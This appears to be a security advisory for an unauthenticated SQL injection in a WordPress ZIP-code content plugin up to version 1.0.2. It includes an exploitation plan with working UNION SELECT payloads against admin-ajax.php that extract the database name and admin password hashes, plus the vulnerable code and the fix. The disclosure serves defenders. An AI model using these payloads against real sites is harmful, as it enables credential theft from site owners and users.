ZIP Code Based Content Protection <= 1.0.2 - Unauthenticated SQL Injection via 'zipcode' Parameter
Description
The ZIP Code Based Content Protection plugin for WordPress is vulnerable to SQL Injection in all versions up to, and including, 1.0.2 via the 'zipcode' parameter. This is due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=1.0.2What Changed in the Fix
Changes introduced in v1.0.3
Source Code
WordPress.org SVNThis research plan focuses on exploiting a SQL injection vulnerability in the **ZIP Code Based Content Protection** plugin for WordPress. ## 1. Vulnerability Summary The vulnerability is an unauthenticated SQL injection in the `zip_code` parameter handled by the `Zipcode_BCP_Admin` class. The flaw …
Show full research plan
This research plan focuses on exploiting a SQL injection vulnerability in the ZIP Code Based Content Protection plugin for WordPress.
1. Vulnerability Summary
The vulnerability is an unauthenticated SQL injection in the zip_code parameter handled by the Zipcode_BCP_Admin class. The flaw exists in multiple AJAX handlers (export_registered_users_in_zipcode, preview_registered_users_in_zipcode, and view_posts_registered_users_in_zipcode).
The code uses sanitize_text_field() on the input, which does not escape single quotes, and then interpolates the variable directly into a query string. Critically, it then calls $wpdb->prepare() on the already-interpolated query string while passing an empty string as the second argument. This fails to provide any parameterization for the user input, allowing an attacker to break out of the string literal and append arbitrary SQL.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - Action:
export_registered_users_in_zipcode(and variants) - HTTP Parameter:
zip_code(via$_REQUEST) - Authentication: Unauthenticated (as per CVE description; the plugin hooks these actions to
wp_ajax_nopriv_*to allow unauthenticated users to export/preview data if they have requested zip codes). - Vulnerability Type: UNION-Based SQL Injection.
3. Code Flow
- Entry Point: A
POSTrequest is sent toadmin-ajax.phpwithaction=export_registered_users_in_zipcode. - Dispatch: WordPress triggers the hook
wp_ajax_nopriv_export_registered_users_in_zipcode, which callsZipcode_BCP_Admin::zbcp_export_registered_users_in_zipcode(). - Vulnerable Function (
admin/class-zipcode-bcp-admin.php):$zipcode = sanitize_text_field( $_REQUEST['zip_code'] );(Input is retrieved but not SQL-escaped).$pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'";(Input interpolated into query).
- SQL Sink:
$users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );- The
preparecall does nothing because the query is already built and the argument is empty.
- Output: The results are iterated, and the
user_emailfield is echoed:echo "email\n"; foreach ( $users as $user ) : echo esc_attr($user['user_email']) . "\n"; endforeach;
4. Nonce Acquisition Strategy
Based on the analysis of admin/js/zipcode-bcp-admin.js and admin/class-zipcode-bcp-admin.php:
- No Nonce Required: The AJAX requests in
zipcode-bcp-admin.jsfor these specific actions (export_registered_users_in_zipcode, etc.) do not include any security tokens or nonces in thedataobject. - Missing Server-Side Check: The PHP handlers in
class-zipcode-bcp-admin.phpdo not callcheck_ajax_referer()orwp_verify_nonce().
Therefore, the exploit can be executed directly without any prior nonce acquisition.
5. Exploitation Strategy
We will use a UNION SELECT payload to extract the database name and the admin user's password hash.
Step 1: Identify Column Count
The table {$wpdb->prefix}zipcode_requested_users contains 6 columns (verified from admin/lists/class-zipcode-bcp-admin-user-requested-zipcodes.php):
idzipcodeuser_email(Reflected inexport_registered_users_in_zipcode)post_idpost_typepost_title
Step 2: Extract Data via export_registered_users_in_zipcode
We will target the 3rd column (user_email) because it is enqueued in the output loop.
HTTP Request:
- URL:
{{target_url}}/wp-admin/admin-ajax.php - Method:
POST - Headers:
Content-Type: application/x-www-form-urlencoded - Body:
(Note:action=export_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,CONCAT(0x5b53514c495d,DATABASE(),0x3a,user_login,0x3a,user_pass,0x5b53514c495d),4,5,6 FROM wp_users-- -0x5b53514c495dis the hex for[SQLI]to make parsing easy).
6. Test Data Setup
- Plugin Activation: Ensure the plugin "ZIP Code Based Content Protection" is installed and activated.
- Table Creation: The plugin must have created its tables. This usually happens on activation.
- Administrator: Ensure at least one administrator exists in
wp_users(standard for any WP install).
7. Expected Results
The response should be a text/csv-like output:
email
[SQLI]wordpress_db:admin:$P$B...[SQLI]
The presence of the database name and hash confirms successful extraction.
8. Verification Steps
- Database Check: Use
wp db query "SELECT user_pass FROM wp_users WHERE user_login='admin'"via WP-CLI to compare the hash retrieved via the exploit. - Table Check: Verify the table exists:
wp db query "SHOW TABLES LIKE '%zipcode_requested_users%'".
9. Alternative Approaches
If export_registered_users_in_zipcode fails to produce output due to character encoding in the CSV flow, use the JSON-based endpoint:
Alternative Action: preview_registered_users_in_zipcode
- Endpoint:
/wp-admin/admin-ajax.php - Body:
action=preview_registered_users_in_zipcode&zip_code=1' UNION SELECT 1,2,DATABASE(),4,5,6-- - - Response: A JSON object where
resultcontains the extracted data inside<p>tags:{"status":true,"result":"<p>database_name<\/p>\n"}
If sanitize_text_field interferes with complex payloads (like subqueries), use hex encoding for strings to avoid quotes entirely.
Summary
The ZIP Code Based Content Protection plugin for WordPress is vulnerable to unauthenticated UNION-based SQL injection via the 'zip_code' parameter in several AJAX actions. This occurs because user input is interpolated directly into SQL query strings before being passed to a non-functional $wpdb->prepare() call, allowing attackers to extract sensitive data from the database.
Vulnerable Code
// admin/class-zipcode-bcp-admin.php:118 public function zbcp_export_registered_users_in_zipcode() { if ( ! empty( $_REQUEST['zip_code'] ) ) { global $wpdb; $table = $wpdb->get_blog_prefix() . 'zipcode_requested_users'; $zipcode = sanitize_text_field( $_REQUEST['zip_code'] ); $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'"; $users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A ); --- // admin/class-zipcode-bcp-admin.php:133 function zbcp_preview_registered_users_in_zipcode() { if ( ! empty( $_REQUEST['zip_code'] ) ) { global $wpdb; $table = $wpdb->get_blog_prefix() . 'zipcode_requested_users'; $zipcode = sanitize_text_field( $_REQUEST['zip_code'] ); $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'"; $users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A );
Security Fix
@@ -113,29 +88,56 @@ if ( ! empty( $_REQUEST['zip_code'] ) ) { global $wpdb; - $table = $wpdb->get_blog_prefix() . 'zipcode_requested_users'; - $zipcode = sanitize_text_field( $_REQUEST['zip_code'] ); + $table = $wpdb->prefix . 'zipcode_requested_users'; + + // Get and sanitize ZIP code. + $zipcode = sanitize_text_field( wp_unslash( $_REQUEST['zip_code'] ) ); - $pt_query = "SELECT * FROM $table WHERE zipcode = '$zipcode'"; - $users = $wpdb->get_results( $wpdb->prepare( $pt_query, '' ), ARRAY_A ); + if ( empty( $zipcode ) ) { + exit(); + } + // Prepare query safely. + $query = $wpdb->prepare( + "SELECT user_email FROM {$table} WHERE zipcode = %s", + $zipcode + ); + + // Fetch results. + $users = $wpdb->get_results( $query, ARRAY_A );
Exploit Outline
The exploit targets unauthenticated AJAX handlers like 'export_registered_users_in_zipcode' or 'preview_registered_users_in_zipcode'. An attacker sends a POST request to /wp-admin/admin-ajax.php with the 'action' parameter set to one of the vulnerable hooks and a 'zip_code' parameter containing a SQL payload. Because sanitize_text_field() does not escape single quotes and the query string is pre-interpolated before being passed to $wpdb->prepare() with an empty argument, an attacker can use a UNION SELECT statement to jump out of the 'zipcode' string literal. By determining the column count of the target table, the attacker can reflect results (such as admin password hashes or the database name) directly into the response, which is returned either as plain text/CSV or JSON depending on the action hit.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.